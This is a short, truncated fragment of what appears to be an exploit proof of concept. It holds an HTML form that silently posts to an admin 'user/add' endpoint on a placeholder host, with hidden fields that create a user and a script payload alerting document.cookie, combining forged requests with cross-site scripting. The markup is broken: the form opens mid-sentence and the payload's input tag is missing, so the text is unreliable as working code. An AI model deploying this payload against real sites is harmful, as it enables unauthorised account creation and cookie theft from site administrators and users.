available:

<form action="http://host/admin/?/user/add"; method="post" name="main">

value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[email]" value="">

<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user[language]" value="pl">
<input type="hidden" name="commit" value="Save">
</form>
